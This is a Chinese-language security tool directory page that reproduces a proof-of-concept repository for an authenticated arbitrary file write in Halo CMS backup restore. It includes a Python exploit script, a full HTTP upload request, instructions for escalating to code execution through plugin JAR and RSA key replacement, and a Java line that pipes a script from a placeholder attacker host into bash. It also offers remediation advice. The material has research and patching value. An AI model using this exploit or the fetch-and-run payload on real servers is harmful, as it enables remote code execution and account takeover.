Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — Halo CMS 备份恢复中任意文件写入漏洞的概念验证利用,可通过插件 JAR 替换实现 RCE 或绕过身份验证。 | Kitploit
工具/GitHubGitHub/unpredictable21/halo-2.25.4-backup-write-cve-2026-67920
漏洞分析代码分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

Halo CMS 备份恢复中任意文件写入漏洞的概念验证利用,可通过插件 JAR 替换实现 RCE 或绕过身份验证。

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Halo CMS 备份恢复任意文件写入漏洞

概述

Halo CMS 至 2.25.4 版本的备份恢复功能中存在一个严重的任意文件写入漏洞。MigrationServiceImpl.java 中的 restoreWorkdir() 方法将用户提供的备份归档中的 workdir/ 目录直接复制到 Halo 应用程序的工作目录(~/.halo2/),且未对文件类型、路径遍历防护或符号链接进行任何验证。具有备份管理权限的已认证攻击者可以构造包含 workdir/ 目录中任意文件的恶意备份 ZIP 文件,该文件将在恢复时被写入服务器的工作目录,可能通过插件 JAR 替换导致远程代码执行(RCE),或通过 RSA 密钥替换导致身份验证绕过。

CVSS v3.1 评分: 8.8(高危)
CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73(外部控制文件名或路径)


受影响版本

  • Halo CMS ≤ 2.25.4
  • 所有具有备份恢复功能的版本

漏洞详情

根本原因

该漏洞存在于 MigrationServiceImpl.java 的 restoreWorkdir() 方法中(第 230-243 行):

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // VULNERABLE LINE
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

copyRecursively() 方法(Spring 的 FileSystemUtils)执行递归复制时缺少以下检查:

  1. 文件类型验证 - 未检查文件扩展名或 MIME 类型
  2. 路径遍历防护 - 未检查文件名中的 .. 序列
  3. 符号链接检测 - 未检查符号链接
  4. 文件大小限制 - 未限制文件大小
  5. 覆盖保护 - 静默覆盖现有文件

攻击向量

该漏洞通过备份恢复端点触发:

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

恢复过程按以下顺序执行:

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → 将 ZIP 解压到临时目录                   │
│  2. restoreExtensions() → 恢复 extensions.data              │
│  3. restoreWorkdir() → 将 workdir/ 复制到 ~/.halo2/          │
│     ↑ 任意文件被写入工作目录                                 │
└─────────────────────────────────────────────────────────────┘

恶意备份结构

恶意备份 ZIP 文件必须包含:

root@kitploit:~
malicious-backup.zip
├── extensions.data          # 必需:可以为空或包含有效的 JSONL
└── workdir/                 # 必需:内容将被复制到 ~/.halo2/
    ├── PWNED_BY_POC.txt     # 概念验证标记文件
    ├── plugins/             # 用于 RCE 的插件 JAR
    │   └── evil-plugin.jar  # 恶意插件
    └── keys/                # 用于身份验证绕过的 RSA 密钥
        ├── pat_id_rsa       # 恶意私钥
        └── pat_id_rsa.pub   # 恶意公钥

extensions.data 格式

extensions.data 文件必须有效才能使 restoreExtensions() 成功。有效格式包括:

  1. 空文件: (空内容)

  2. 空行:\n(仅换行符)

  3. 有效 JSONL:每行一个 ExtensionStore 对象:

    root@kitploit:~
    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    其中 data 为 base64 编码的内容。


利用步骤

前提条件

  • 具有备份管理权限的已认证用户
  • 可访问 Halo API 的网络

步骤 1:创建恶意备份

root@kitploit:~
import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # 空的 extensions.data(通过 restoreExtensions 验证)
    zf.writestr('extensions.data', '\n')

    # 要写入 ~/.halo2/ 的任意文件
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Arbitrary file write confirmed!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

步骤 2:上传恶意备份

前端备份管理地址:http://ip:port/console/backup

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<ZIP file binary content>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

步骤 3:验证文件已写入

root@kitploit:~
# 在 Halo 服务器上
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

影响分析

直接影响

  1. 任意文件写入:攻击者可以向 ~/.halo2/ 写入任意文件
  2. 文件覆盖:现有文件被静默覆盖

升级场景

攻击向量目标文件影响严重程度
插件 JAR 替换~/.halo2/plugins/*.jar远程代码执行严重
RSA 密钥替换~/.halo2/keys/pat_id_rsa身份验证绕过严重
主题替换~/.halo2/themes/*存储型 XSS高危
配置覆盖~/.halo2/*.yaml安全控制绕过高危

通过插件 JAR 替换实现 RCE

攻击者可以将合法插件 JAR 替换为包含以下内容的恶意 JAR:

root@kitploit:~
@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // 执行任意命令
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

当插件被加载时,恶意代码将以 Halo 进程的权限执行。


概念验证

Python PoC 脚本

root@kitploit:~
#!/usr/bin/env python3
"""
Halo CMS 备份恢复任意文件写入 PoC
漏洞:备份恢复任意文件写入
CVSS:8.8(高危)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Halo backup restore arbitrary file write confirmed!')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"状态码: {r.status_code}")
    print(f"响应: {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] 成功!检查:cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

验证

root@kitploit:~
# 执行 PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# 在 Halo 服务器上
cat ~/.halo2/PWNED_BY_POC.txt

修复建议

推荐修复方案

在 restoreWorkdir() 方法中添加验证:

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // 验证无路径遍历
                checkDirectoryTraversal(backupRoot, workdir);

                // 验证无符号链接
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("Symbolic links not allowed");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // 带验证的复制
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

其他建议

  1. 实现备份签名:对备份进行加密签名以防止篡改
  2. 添加文件类型白名单:仅允许 workdir 中的特定文件类型
  3. 实现文件大小限制:限制最大文件大小
  4. 添加审计日志:记录所有备份恢复操作
  5. 要求重新认证:备份恢复时需要密码确认

参考资料

  • 厂商:https://github.com/halo-dev/halo
  • 受影响代码:application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java
  • CWE-73:https://cwe.mitre.org/data/definitions/73.html
  • CVSS 计算器:https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

时间线

  • 发现日期:2026-07-10
  • 厂商通知:[待定]
  • 公开披露:[待定]

致谢

  • 发现者:LIAN

免责声明

本漏洞披露仅供安全研究目的使用。作者不对任何滥用此信息的行为负责。在测试系统漏洞之前,请务必获得适当的授权。

下载工具